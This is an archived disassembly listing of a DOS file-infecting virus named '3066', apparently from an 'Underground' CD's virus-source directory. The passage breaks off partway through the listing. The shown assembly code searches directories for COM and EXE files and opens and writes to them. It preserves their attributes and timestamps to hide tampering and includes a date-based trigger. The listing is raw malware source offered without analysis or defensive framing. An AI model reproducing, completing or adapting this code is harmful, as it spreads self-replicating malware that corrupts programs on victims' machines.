home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / 0-9 / 3066.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  41.3 KB  |  1,492 lines

  1.  
  2.  
  3. PAGE  59,132
  4.  
  5.  
  6.  
  7. ;██████████████████████████████████████████████████████████████████████████
  8.  
  9. ;██                                         ██
  10.  
  11. ;██                    3066                         ██
  12.  
  13. ;██                                         ██
  14.  
  15. ;██      Created:   19-Mar-89                             ██
  16.  
  17. ;██      Version:                                 ██
  18.  
  19. ;██      Passes:    5           Analysis Options on: QRS                 ██
  20.  
  21. ;██                                         ██
  22.  
  23. ;██                                         ██
  24.  
  25. ;██████████████████████████████████████████████████████████████████████████
  26.  
  27.  
  28.  
  29. .286c
  30.  
  31.  
  32.  
  33. data_1e        equ    24h            ; (0000:0024=45h)
  34.  
  35. data_2e        equ    26h            ; (0000:0026=3D1h)
  36.  
  37. data_3e        equ    70h            ; (0000:0070=0FF53h)
  38.  
  39. data_4e        equ    72h            ; (0000:0072=0F000h)
  40.  
  41. data_5e        equ    80h            ; (0000:0080=1094h)
  42.  
  43. data_6e        equ    82h            ; (0000:0082=123h)
  44.  
  45. data_7e        equ    84h            ; (0000:0084=109Eh)
  46.  
  47. data_8e        equ    86h            ; (0000:0086=123h)
  48.  
  49. data_9e        equ    90h            ; (0000:0090=156h)
  50.  
  51. data_10e    equ    92h            ; (0000:0092=44Bh)
  52.  
  53. data_11e    equ    9Ch            ; (0000:009C=0BCh)
  54.  
  55. data_13e    equ    0B3h            ; (0000:00B3=1)
  56.  
  57. data_14e    equ    0C8h            ; (0000:00C8=0DAh)
  58.  
  59. data_15e    equ    0D1h            ; (0000:00D1=10h)
  60.  
  61. data_16e    equ    0DFh            ; (0000:00DF=1)
  62.  
  63. data_17e    equ    0E3h            ; (0000:00E3=1)
  64.  
  65. data_18e    equ    0EAh            ; (0000:00EA=123h)
  66.  
  67. data_19e    equ    0ECh            ; (0000:00EC=10DAh)
  68.  
  69. data_20e    equ    0EEh            ; (0000:00EE=23h)
  70.  
  71. data_21e    equ    0F1h            ; (0000:00F1=10h)
  72.  
  73. data_22e    equ    151h            ; (0000:0151=0EAh)
  74.  
  75. data_23e    equ    153h            ; (0000:0153=0A6F0h)
  76.  
  77. data_24e    equ    155h            ; (0000:0155=0EAh)
  78.  
  79. data_25e    equ    449h            ; (0000:0449=3)
  80.  
  81. data_26e    equ    972h            ; (0000:0972=74h)
  82.  
  83. data_27e    equ    80h            ; (00AE:0080=0FFh)
  84.  
  85. data_28e    equ    0A0h            ; (5E5F:00A0=0FFh)
  86.  
  87. data_29e    equ    0F00h            ; (5E5F:0F00=0FFh)
  88.  
  89. data_30e    equ    0FA0h            ; (5E5F:0FA0=0FFh)
  90.  
  91. data_31e    equ    0FF60h            ; (5E5F:FF60=0FFFFh)
  92.  
  93. data_32e    equ    0E0h            ; (683D:00E0=0FFFFh)
  94.  
  95. data_33e    equ    0            ; (6FB8:0000=0)
  96.  
  97. data_34e    equ    4            ; (6FB8:0004=0)
  98.  
  99. data_35e    equ    5            ; (6FB8:0005=0)
  100.  
  101. data_36e    equ    87h            ; (6FB8:0087=0)
  102.  
  103. data_37e    equ    0A0h            ; (6FB8:00A0=0)
  104.  
  105. data_38e    equ    0DFh            ; (6FB8:00DF=0)
  106.  
  107. data_39e    equ    0E0h            ; (6FB8:00E0=0)
  108.  
  109. data_40e    equ    0E2h            ; (6FB8:00E2=0)
  110.  
  111. data_41e    equ    0E3h            ; (6FB8:00E3=0)
  112.  
  113. data_42e    equ    0E4h            ; (6FB8:00E4=0)
  114.  
  115. data_43e    equ    0E6h            ; (6FB8:00E6=0)
  116.  
  117. data_44e    equ    0E8h            ; (6FB8:00E8=0)
  118.  
  119. data_45e    equ    0EAh            ; (6FB8:00EA=0)
  120.  
  121. data_46e    equ    0ECh            ; (6FB8:00EC=0)
  122.  
  123. data_47e    equ    0EEh            ; (6FB8:00EE=0)
  124.  
  125. data_48e    equ    0EFh            ; (6FB8:00EF=0)
  126.  
  127. data_49e    equ    0F1h            ; (6FB8:00F1=0)
  128.  
  129. data_50e    equ    0F3h            ; (6FB8:00F3=0)
  130.  
  131. data_51e    equ    0F5h            ; (6FB8:00F5=0)
  132.  
  133. data_93e    equ    100h            ; (7188:0100=0)
  134.  
  135. data_94e    equ    0E2h            ; (969B:00E2=0)
  136.  
  137.  
  138.  
  139. seg_a        segment    byte public
  140.  
  141.         assume    cs:seg_a, ds:seg_a
  142.  
  143.  
  144.  
  145.  
  146.  
  147.         org    100h
  148.  
  149.  
  150.  
  151. 3066        proc    far
  152.  
  153.  
  154.  
  155. start:
  156.  
  157.         jmp    loc_5            ; (0243)
  158.  
  159.         db     01h,0B4h
  160.  
  161. data_54        dw    0CD09h            ; Data table (indexed access)
  162.  
  163.                         ;  xref 6FB8:0ADC, 0B5E, 0BA4, 0C67
  164.  
  165.                         ;            0C7B, 0CCB, 0CD4
  166.  
  167.         db     21h,0B8h, 00h, 4Ch,0CDh, 21h
  168.  
  169.         db    'This program only exists to beco'
  170.  
  171.  
  172.  
  173.  
  174.  
  175.  
  176.  
  177.  
  178.  
  179.  
  180.  
  181.         db    'me infected - COM version', 0Dh, 0Ah
  182.  
  183.  
  184.  
  185.  
  186.  
  187.  
  188.  
  189.  
  190.  
  191.         db    '$'
  192.  
  193.         db     8Dh, 16h, 0Dh,0FFh,0FFh, 00h
  194.  
  195.         db     01h, 8Ch
  196.  
  197. data_56        dw    4D10h            ; Data table (indexed access)
  198.  
  199.                         ;  xref 6FB8:0270, 02DC, 046C
  200.  
  201. data_57        dw    6FB8h            ; Data table (indexed access)
  202.  
  203.                         ;  xref 6FB8:0276, 02E0, 0470
  204.  
  205. data_58        db    0            ; Data table (indexed access)
  206.  
  207.                         ;  xref 6FB8:0387, 03C8, 0608, 06A4
  208.  
  209.         db     8Dh, 16h, 0Dh,0FFh,0FFh, 09h
  210.  
  211.         db    0CDh, 21h,0B8h, 00h, 4Ch,0CDh
  212.  
  213.         db    '!This program on', 0Dh, 0Ah, '$'
  214.  
  215.  
  216.  
  217.  
  218.  
  219.  
  220.  
  221.         db    27 dup (0)
  222.  
  223.         db     50h, 4Ch, 49h, 43h
  224.  
  225.         db    60 dup (0)
  226.  
  227.         db     01h, 3Fh
  228.  
  229.         db    7 dup (3Fh)
  230.  
  231.         db     43h, 4Fh, 4Dh, 20h, 00h
  232.  
  233.         db    7 dup (0)
  234.  
  235.         db     20h, 96h, 66h,0D7h, 12h, 4Ch
  236.  
  237.         db     00h, 00h, 00h
  238.  
  239.         db    'TSTJ3066.COM'
  240.  
  241.  
  242.  
  243.         db     00h, 00h, 01h, 3Fh
  244.  
  245.         db    10 dup (3Fh)
  246.  
  247.         db     10h, 05h
  248.  
  249.         db    7 dup (0)
  250.  
  251.         db     20h,0E9h, 11h,0B5h, 12h,0F6h
  252.  
  253.         db     48h, 02h, 00h
  254.  
  255.         db    'CAT-TWO.ARC'
  256.  
  257.  
  258.  
  259.         db     00h, 00h, 00h, 00h,0BCh, 0Eh
  260.  
  261.         db     00h, 00h, 20h, 00h, 72h, 49h
  262.  
  263.         db     73h, 12h,0EBh, 04h,0DDh, 0Ch
  264.  
  265.         db     00h, 00h, 00h, 51h, 59h, 8Bh
  266.  
  267.         db     0Fh, 20h, 00h
  268.  
  269.         db     56h, 47h, 31h
  270.  
  271. loc_5:                        ;  xref 6FB8:0100
  272.  
  273.         jmp    short loc_6        ; (0247)
  274.  
  275.         db    0F5h, 0Bh
  276.  
  277. loc_6:                        ;  xref 6FB8:0243
  278.  
  279.         call    sub_17            ; (08BB)
  280.  
  281.         call    sub_15            ; (0875)
  282.  
  283.         mov    ah,19h
  284.  
  285.         int    21h            ; DOS Services  ah=function 19h
  286.  
  287.                         ;  get default drive al  (0=a:)
  288.  
  289.         mov    ds:data_22e[si],si    ; (0000:0151=0EAh)
  290.  
  291.         add    word ptr ds:data_22e[si],884h    ; (0000:0151=0EAh)
  292.  
  293.         mov    ds:data_23e[si],cs    ; (0000:0153=0A6F0h)
  294.  
  295.         mov    ds:data_17e[si],al    ; (0000:00E3=1)
  296.  
  297.         call    sub_10            ; (076E)
  298.  
  299.         mov    dl,ds:data_94e[di]    ; (969B:00E2=0)
  300.  
  301.         mov    ax,ds
  302.  
  303.         push    cs
  304.  
  305.         pop    ds
  306.  
  307.         jnz    loc_8            ; Jump if not zero
  308.  
  309.         mov    data_56[si],984h    ; (6FB8:0151=4D10h)
  310.  
  311.         mov    data_57[si],ax        ; (6FB8:0153=6FB8h)
  312.  
  313.         cmp    dl,0FFh
  314.  
  315.         je    loc_8            ; Jump if equal
  316.  
  317.         mov    ah,0Eh
  318.  
  319.         int    21h            ; DOS Services  ah=function 0Eh
  320.  
  321.                         ;  set default drive dl  (0=a:)
  322.  
  323. loc_8:                        ;  xref 6FB8:026E, 027D
  324.  
  325.         mov    byte ptr ds:[872h][si],80h    ; (6FB8:0872=0FFh)
  326.  
  327.         mov    word ptr ds:data_48e[si],0    ; (6FB8:00EF=0)
  328.  
  329.         mov    ah,2Ah            ; '*'
  330.  
  331.         int    21h            ; DOS Services  ah=function 2Ah
  332.  
  333.                         ;  get date, cx=year, dx=mon/day
  334.  
  335.         cmp    cx,7C4h
  336.  
  337.         jge    loc_9            ; Jump if > or =
  338.  
  339.         jmp    short loc_12        ; (02C2)
  340.  
  341.         db    0BDh, 09h,0BCh, 0Eh, 00h
  342.  
  343. loc_9:                        ;  xref 6FB8:0296
  344.  
  345.         jg    loc_10            ; Jump if >
  346.  
  347.         cmp    dh,0Ch
  348.  
  349.         jl    loc_12            ; Jump if <
  350.  
  351.         cmp    dl,5
  352.  
  353.         jl    loc_12            ; Jump if <
  354.  
  355.         cmp    dl,1Ch
  356.  
  357.         jl    loc_11            ; Jump if <
  358.  
  359. loc_10:                        ;  xref 6FB8:029F
  360.  
  361.         mov    word ptr ds:[877h][si],0FFDCh    ; (6FB8:0877=8EC0h)
  362.  
  363.         mov    byte ptr ds:[872h][si],88h    ; (6FB8:0872=0FFh)
  364.  
  365. loc_11:                        ;  xref 6FB8:02AE
  366.  
  367.         cmp    byte ptr [si+4],0F8h
  368.  
  369.         nop                ;*ASM fixup - displacement
  370.  
  371.         jae    loc_13            ; Jump if above or =
  372.  
  373. loc_12:                        ;  xref 6FB8:0298, 02A4, 02A9, 0356
  374.  
  375.         mov    byte ptr cs:data_47e[si],0    ; (6FB8:00EE=0)
  376.  
  377.         jmp    loc_30            ; (0460)
  378.  
  379.         cmp    byte ptr [si+4],0F8h
  380.  
  381.         nop                ;*ASM fixup - displacement
  382.  
  383.         jae    loc_13            ; Jump if above or =
  384.  
  385.         or    byte ptr ds:[872h][si],4    ; (6FB8:0872=0FFh)
  386.  
  387. loc_13:                        ;  xref 6FB8:02C0, 02D0
  388.  
  389.         mov    byte ptr ds:data_38e[si],0    ; (6FB8:00DF=0)
  390.  
  391.         mov    dx,data_56[si]        ; (6FB8:0151=4D10h)
  392.  
  393.         mov    ds,data_57[si]        ; (6FB8:0153=6FB8h)
  394.  
  395.         mov    ax,4300h
  396.  
  397.         call    sub_1            ; (0436)
  398.  
  399.         jc    loc_14            ; Jump if carry Set
  400.  
  401.         mov    cs:data_51e[si],cx    ; (6FB8:00F5=0)
  402.  
  403.         and    cl,0FEh
  404.  
  405.         mov    ax,4301h
  406.  
  407.         call    sub_1            ; (0436)
  408.  
  409.         jc    loc_14            ; Jump if carry Set
  410.  
  411.         mov    ax,3D02h
  412.  
  413.         int    21h            ; DOS Services  ah=function 3Dh
  414.  
  415.                         ;  open file, al=mode,name@ds:dx
  416.  
  417.         jc    loc_14            ; Jump if carry Set
  418.  
  419.         push    cs
  420.  
  421.         pop    ds
  422.  
  423.         mov    ds:data_48e[si],ax    ; (6FB8:00EF=0)
  424.  
  425.         mov    bx,ax
  426.  
  427.         mov    ax,5700h
  428.  
  429.         int    21h            ; DOS Services  ah=function 57h
  430.  
  431.                         ;  get/set file date & time
  432.  
  433.         mov    ds:data_49e[si],cx    ; (6FB8:00F1=0)
  434.  
  435.         mov    ds:data_50e[si],dx    ; (6FB8:00F3=0)
  436.  
  437.         dec    byte ptr [si+4]
  438.  
  439.         nop                ;*ASM fixup - displacement
  440.  
  441.         mov    dx,word ptr ds:[880h][si]    ; (6FB8:0880=687h)
  442.  
  443.         mov    cx,word ptr ds:[882h][si]    ; (6FB8:0882=90h)
  444.  
  445.         add    dx,4
  446.  
  447.         nop                ;*ASM fixup - sign extn byte
  448.  
  449.         adc    cx,0
  450.  
  451.         mov    ax,4200h
  452.  
  453.         int    21h            ; DOS Services  ah=function 42h
  454.  
  455.                         ;  move file ptr, cx,dx=offset
  456.  
  457. loc_14:                        ;  xref 6FB8:02EA, 02FA, 0301
  458.  
  459.         push    cs
  460.  
  461.         pop    ds
  462.  
  463.         test    byte ptr ds:[872h][si],4    ; (6FB8:0872=0FFh)
  464.  
  465.         jz    loc_15            ; Jump if zero
  466.  
  467.         call    sub_3            ; (051F)
  468.  
  469.         jmp    loc_30            ; (0460)
  470.  
  471. loc_15:                        ;  xref 6FB8:0337
  472.  
  473.         xor    dl,dl            ; Zero register
  474.  
  475.         mov    ah,47h            ; 'G'
  476.  
  477.         push    si
  478.  
  479.         add    si,46h
  480.  
  481.         int    21h            ; DOS Services  ah=function 47h
  482.  
  483.                         ;  get present dir,drive dl,1=a:
  484.  
  485.         pop    si
  486.  
  487.         cmp    byte ptr ds:data_47e[si],0    ; (6FB8:00EE=0)
  488.  
  489.         jne    loc_16            ; Jump if not equal
  490.  
  491.         call    sub_2            ; (0444)
  492.  
  493.         jnc    loc_17            ; Jump if carry=0
  494.  
  495. loc_16:                        ;  xref 6FB8:034F
  496.  
  497.         jmp    loc_12            ; (02C2)
  498.  
  499. loc_17:                        ;  xref 6FB8:0354, 0433
  500.  
  501.         mov    dx,si
  502.  
  503.         add    dx,data_36e        ; (6FB8:0087=0)
  504.  
  505.         mov    ah,1Ah
  506.  
  507.         int    21h            ; DOS Services  ah=function 1Ah
  508.  
  509.                         ;  set DTA to ds:dx
  510.  
  511.         mov    word ptr [si+5],2E2Ah
  512.  
  513.         mov    word ptr [si+7],4F43h
  514.  
  515.         mov    word ptr [si+9],4Dh
  516.  
  517.         mov    ah,4Eh            ; 'N'
  518.  
  519.         mov    dx,si
  520.  
  521.         add    dx,5
  522.  
  523. loc_18:                        ;  xref 6FB8:03A7
  524.  
  525.         mov    cx,20h
  526.  
  527.         call    sub_1            ; (0436)
  528.  
  529.         jc    loc_21            ; Jump if carry Set
  530.  
  531.         mov    dx,si
  532.  
  533.         add    dx,0A5h
  534.  
  535.         mov    data_58[si],0        ; (6FB8:0155=0)
  536.  
  537.         call    sub_4            ; (0535)
  538.  
  539.         jc    loc_20            ; Jump if carry Set
  540.  
  541.         call    sub_3            ; (051F)
  542.  
  543. loc_19:                        ;  xref 6FB8:039C
  544.  
  545.         jmp    loc_29            ; (0454)
  546.  
  547. loc_20:                        ;  xref 6FB8:038F
  548.  
  549.         cmp    byte ptr ds:data_20e[si],0    ; (0000:00EE=23h)
  550.  
  551.         jne    loc_19            ; Jump if not equal
  552.  
  553.         cmp    byte ptr ds:data_24e[si],0    ; (0000:0155=0EAh)
  554.  
  555.         jne    loc_25            ; Jump if not equal
  556.  
  557.         mov    ah,4Fh            ; 'O'
  558.  
  559.         jmp    short loc_18        ; (0379)
  560.  
  561. loc_21:                        ;  xref 6FB8:037F
  562.  
  563.         mov    word ptr [si+7],5845h
  564.  
  565.         mov    word ptr [si+9],45h
  566.  
  567.         mov    ah,4Eh            ; 'N'
  568.  
  569.         mov    dx,si
  570.  
  571.         add    dx,5
  572.  
  573. loc_22:                        ;  xref 6FB8:03E9
  574.  
  575.         mov    cx,20h
  576.  
  577.         call    sub_1            ; (0436)
  578.  
  579.         jc    loc_25            ; Jump if carry Set
  580.  
  581.         mov    dx,si
  582.  
  583.         add    dx,0A5h
  584.  
  585.         mov    data_58[si],0        ; (6FB8:0155=0)
  586.  
  587.         call    sub_4            ; (0535)
  588.  
  589.         jc    loc_24            ; Jump if carry Set
  590.  
  591.         call    sub_3            ; (051F)
  592.  
  593. loc_23:                        ;  xref 6FB8:03DE
  594.  
  595.         jmp    short loc_29        ; (0454)
  596.  
  597.         db    90h
  598.  
  599. loc_24:                        ;  xref 6FB8:03D0
  600.  
  601.         cmp    byte ptr cs:data_47e[si],0    ; (6FB8:00EE=0)
  602.  
  603.         jne    loc_23            ; Jump if not equal
  604.  
  605.         cmp    byte ptr ds:data_24e[si],0    ; (0000:0155=0EAh)
  606.  
  607.         jne    loc_25            ; Jump if not equal
  608.  
  609.         mov    ah,4Fh            ; 'O'
  610.  
  611.         jmp    short loc_22        ; (03BA)
  612.  
  613. loc_25:                        ;  xref 6FB8:03A3, 03C0, 03E5
  614.  
  615.         call    sub_2            ; (0444)
  616.  
  617.         mov    dx,si
  618.  
  619.         add    dx,data_13e        ; (0000:00B3=1)
  620.  
  621.         mov    ah,1Ah
  622.  
  623.         int    21h            ; DOS Services  ah=function 1Ah
  624.  
  625.                         ;  set DTA to ds:dx
  626.  
  627. loc_26:                        ;  xref 6FB8:0424
  628.  
  629.         mov    ah,4Fh            ; 'O'
  630.  
  631.         mov    cx,10h
  632.  
  633.         cmp    byte ptr ds:data_16e[si],0    ; (0000:00DF=1)
  634.  
  635.         jne    loc_27            ; Jump if not equal
  636.  
  637.         mov    byte ptr ds:data_16e[si],1    ; (0000:00DF=1)
  638.  
  639.         mov    word ptr [si+5],2E2Ah
  640.  
  641.         mov    word ptr [si+7],2Ah
  642.  
  643.         mov    ah,4Eh            ; 'N'
  644.  
  645.         mov    dx,si
  646.  
  647.         add    dx,5
  648.  
  649. loc_27:                        ;  xref 6FB8:0402
  650.  
  651.         call    sub_1            ; (0436)
  652.  
  653.         jc    loc_29            ; Jump if carry Set
  654.  
  655.         test    byte ptr ds:data_14e[si],10h    ; (0000:00C8=0DAh)
  656.  
  657.         jz    loc_26            ; Jump if zero
  658.  
  659.         mov    dx,si
  660.  
  661.         add    dx,data_15e        ; (0000:00D1=10h)
  662.  
  663.         mov    ah,3Bh            ; ';'
  664.  
  665.         call    sub_1            ; (0436)
  666.  
  667.         jc    loc_29            ; Jump if carry Set
  668.  
  669.         jmp    loc_17            ; (0359)
  670.  
  671.  
  672.  
  673. 3066        endp
  674.  
  675.  
  676.  
  677. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  678.  
  679. ;                   SUBROUTINE
  680.  
  681. ;
  682.  
  683. ;         Called from:     6FB8:02E7, 02F7, 037C, 03BD, 041A, 042E, 0450
  684.  
  685. ;                  0571, 0582, 058A
  686.  
  687. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  688.  
  689.  
  690.  
  691. sub_1        proc    near
  692.  
  693.         int    21h            ; DOS Services  ah=function 43h
  694.  
  695.                         ;  get/set file attrb, nam@ds:dx
  696.  
  697.         jc    loc_ret_28        ; Jump if carry Set
  698.  
  699.         test    byte ptr cs:data_47e[si],0FFh    ; (6FB8:00EE=0)
  700.  
  701.         jz    loc_ret_28        ; Jump if zero
  702.  
  703.         stc                ; Set carry flag
  704.  
  705.  
  706.  
  707. loc_ret_28:                    ;  xref 6FB8:0438, 0440
  708.  
  709.         retn
  710.  
  711. sub_1        endp
  712.  
  713.  
  714.  
  715.  
  716.  
  717. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  718.  
  719. ;                   SUBROUTINE
  720.  
  721. ;
  722.  
  723. ;         Called from:     6FB8:0351, 03EB, 0454
  724.  
  725. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  726.  
  727.  
  728.  
  729. sub_2        proc    near
  730.  
  731.         mov    word ptr [si+5],5Ch
  732.  
  733.         mov    dx,si
  734.  
  735.         add    dx,5
  736.  
  737.         mov    ah,3Bh            ; ';'
  738.  
  739.         call    sub_1            ; (0436)
  740.  
  741.         retn
  742.  
  743. sub_2        endp
  744.  
  745.  
  746.  
  747. loc_29:                        ;  xref 6FB8:0394, 03D5, 041D, 0431
  748.  
  749.         call    sub_2            ; (0444)
  750.  
  751.         mov    dx,si
  752.  
  753.         add    dx,46h
  754.  
  755.         mov    ah,3Bh            ; ';'
  756.  
  757.         int    21h            ; DOS Services  ah=function 3Bh
  758.  
  759.                         ;  set current dir, path @ ds:dx
  760.  
  761. loc_30:                        ;  xref 6FB8:02C8, 033C
  762.  
  763.         mov    bx,ds:data_48e[si]    ; (6FB8:00EF=0)
  764.  
  765.         or    bx,bx            ; Zero ?
  766.  
  767.         jz    loc_32            ; Jump if zero
  768.  
  769.         mov    cx,ds:data_51e[si]    ; (6FB8:00F5=0)
  770.  
  771.         mov    dx,data_56[si]        ; (6FB8:0151=4D10h)
  772.  
  773.         mov    ds,data_57[si]        ; (6FB8:0153=6FB8h)
  774.  
  775.         cmp    cx,20h
  776.  
  777.         je    loc_31            ; Jump if equal
  778.  
  779.         mov    ax,4301h
  780.  
  781.         int    21h            ; DOS Services  ah=function 43h
  782.  
  783.                         ;  get/set file attrb, nam@ds:dx
  784.  
  785. loc_31:                        ;  xref 6FB8:0477
  786.  
  787.         push    cs
  788.  
  789.         pop    ds
  790.  
  791.         mov    cx,ds:data_49e[si]    ; (6FB8:00F1=0)
  792.  
  793.         mov    dx,ds:data_50e[si]    ; (6FB8:00F3=0)
  794.  
  795.         mov    ax,5701h
  796.  
  797.         int    21h            ; DOS Services  ah=function 57h
  798.  
  799.                         ;  get/set file date & time
  800.  
  801.         mov    ah,3Eh            ; '>'
  802.  
  803.         int    21h            ; DOS Services  ah=function 3Eh
  804.  
  805.                         ;  close file, bx=file handle
  806.  
  807. loc_32:                        ;  xref 6FB8:0466
  808.  
  809.         mov    dl,ds:data_41e[si]    ; (6FB8:00E3=0)
  810.  
  811.         mov    ah,0Eh
  812.  
  813.         int    21h            ; DOS Services  ah=function 0Eh
  814.  
  815.                         ;  set default drive dl  (0=a:)
  816.  
  817.         call    sub_16            ; (089A)
  818.  
  819.         pop    ax
  820.  
  821.         mov    ds:data_39e[si],ax    ; (6FB8:00E0=0)
  822.  
  823.         cmp    byte ptr [si+3],0FFh
  824.  
  825.         je    loc_33            ; Jump if equal
  826.  
  827.         add    ax,10h
  828.  
  829.         add    [si+2],ax
  830.  
  831.         pop    ax
  832.  
  833.         pop    ds
  834.  
  835. ;*        jmp    dword ptr cs:[si]    ;*1 entry
  836.  
  837.         db    0FFh, 2Ch
  838.  
  839. loc_33:                        ;  xref 6FB8:04A5
  840.  
  841.         call    sub_10            ; (076E)
  842.  
  843.         push    cs
  844.  
  845.         pop    ds
  846.  
  847.         mov    ax,[si]
  848.  
  849.         mov    word ptr ds:[100h],ax    ; (6FB8:0100=40E9h)
  850.  
  851.         mov    al,[si+2]
  852.  
  853.         mov    byte ptr ds:[102h],al    ; (6FB8:0102=1)
  854.  
  855.         jz    loc_34            ; Jump if zero
  856.  
  857.         mov    bx,ds
  858.  
  859.         add    bx,1D0h
  860.  
  861.         mov    es,bx
  862.  
  863.         mov    di,si
  864.  
  865.         mov    dx,si
  866.  
  867.         mov    cx,0BFAh
  868.  
  869.         call    sub_20            ; (0D32)
  870.  
  871.         mov    cx,dx
  872.  
  873.         mov    si,dx
  874.  
  875.         dec    si
  876.  
  877.         mov    di,si
  878.  
  879.         std                ; Set direction flag
  880.  
  881.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  882.  
  883.         push    ds
  884.  
  885.         pop    es
  886.  
  887.         mov    di,data_93e        ; (7188:0100=0)
  888.  
  889.         mov    ds,bx
  890.  
  891.         mov    si,dx
  892.  
  893.         mov    cx,0BFAh
  894.  
  895.         call    sub_20            ; (0D32)
  896.  
  897.         mov    si,100h
  898.  
  899.         push    cs
  900.  
  901.         pop    ds
  902.  
  903.         call    sub_13            ; (07CD)
  904.  
  905.         mov    dx,1D0h
  906.  
  907. loc_34:                        ;  xref 6FB8:04C2
  908.  
  909.         mov    di,cs
  910.  
  911.         add    di,dx
  912.  
  913.         mov    word ptr [si+5],100h
  914.  
  915.         mov    [si+7],di
  916.  
  917.         pop    ax
  918.  
  919.         pop    ds
  920.  
  921.         mov    ds,di
  922.  
  923.         mov    es,di
  924.  
  925.         mov    ss,di
  926.  
  927.         xor    bx,bx            ; Zero register
  928.  
  929.         xor    cx,cx            ; Zero register
  930.  
  931.         xor    bp,bp            ; Zero register
  932.  
  933. ;*        jmp    dword ptr cs:[si+5]    ;*1 entry
  934.  
  935.         db    0FFh, 6Ch, 05h
  936.  
  937. loc_35:                        ;  xref 6FB8:0574, 0585, 058D
  938.  
  939.         mov    byte ptr cs:data_47e[si],0    ; (6FB8:00EE=0)
  940.  
  941.         retn
  942.  
  943.  
  944.  
  945. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  946.  
  947. ;                   SUBROUTINE
  948.  
  949. ;
  950.  
  951. ;         Called from:     6FB8:0339, 0391, 03D2
  952.  
  953. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  954.  
  955.  
  956.  
  957. sub_3        proc    near
  958.  
  959.         mov    bx,ds:data_48e[si]    ; (6FB8:00EF=0)
  960.  
  961.         or    bx,bx            ; Zero ?
  962.  
  963.         jz    loc_ret_36        ; Jump if zero
  964.  
  965.         mov    dx,si
  966.  
  967.         add    dx,data_34e        ; (6FB8:0004=0)
  968.  
  969.         nop                ;*ASM fixup - sign extn byte
  970.  
  971.         mov    cx,1
  972.  
  973.         mov    ah,40h            ; '@'
  974.  
  975.         int    21h            ; DOS Services  ah=function 40h
  976.  
  977.                         ;  write file cx=bytes, to ds:dx
  978.  
  979.  
  980.  
  981. loc_ret_36:                    ;  xref 6FB8:0525
  982.  
  983.         retn
  984.  
  985. sub_3        endp
  986.  
  987.  
  988.  
  989.  
  990.  
  991. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  992.  
  993. ;                   SUBROUTINE
  994.  
  995. ;
  996.  
  997. ;         Called from:     6FB8:038C, 03CD
  998.  
  999. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1000.  
  1001.  
  1002.  
  1003. sub_4        proc    near
  1004.  
  1005.         push    dx
  1006.  
  1007.         mov    ah,19h
  1008.  
  1009.         int    21h            ; DOS Services  ah=function 19h
  1010.  
  1011.                         ;  get default drive al  (0=a:)
  1012.  
  1013.         add    al,41h            ; 'A'
  1014.  
  1015.         mov    ah,3Ah            ; ':'
  1016.  
  1017.         mov    word ptr ds:[884h][si],ax    ; (6FB8:0884=8489h)
  1018.  
  1019.         mov    byte ptr ds:[886h][si],5Ch    ; (6FB8:0886=0EAh) '\'
  1020.  
  1021.         push    si
  1022.  
  1023.         add    si,offset ds:[887h]    ; (6FB8:0887=0)
  1024.  
  1025.         mov    ah,47h            ; 'G'
  1026.  
  1027.         mov    di,si
  1028.  
  1029.         xor    dl,dl            ; Zero register
  1030.  
  1031.         int    21h            ; DOS Services  ah=function 47h
  1032.  
  1033.                         ;  get present dir,drive dl,1=a:
  1034.  
  1035.         pop    si
  1036.  
  1037.         dec    di
  1038.  
  1039. loc_37:                        ;  xref 6FB8:055B
  1040.  
  1041.         inc    di
  1042.  
  1043.         mov    al,[di]
  1044.  
  1045.         or    al,al            ; Zero ?
  1046.  
  1047.         jnz    loc_37            ; Jump if not zero
  1048.  
  1049.         pop    bx
  1050.  
  1051.         mov    byte ptr [di],5Ch    ; '\'
  1052.  
  1053.         inc    di
  1054.  
  1055.         mov    dx,bx
  1056.  
  1057. loc_38:                        ;  xref 6FB8:056C
  1058.  
  1059.         mov    al,[bx]
  1060.  
  1061.         mov    [di],al
  1062.  
  1063.         inc    bx
  1064.  
  1065.         inc    di
  1066.  
  1067.         or    al,al            ; Zero ?
  1068.  
  1069.         jnz    loc_38            ; Jump if not zero
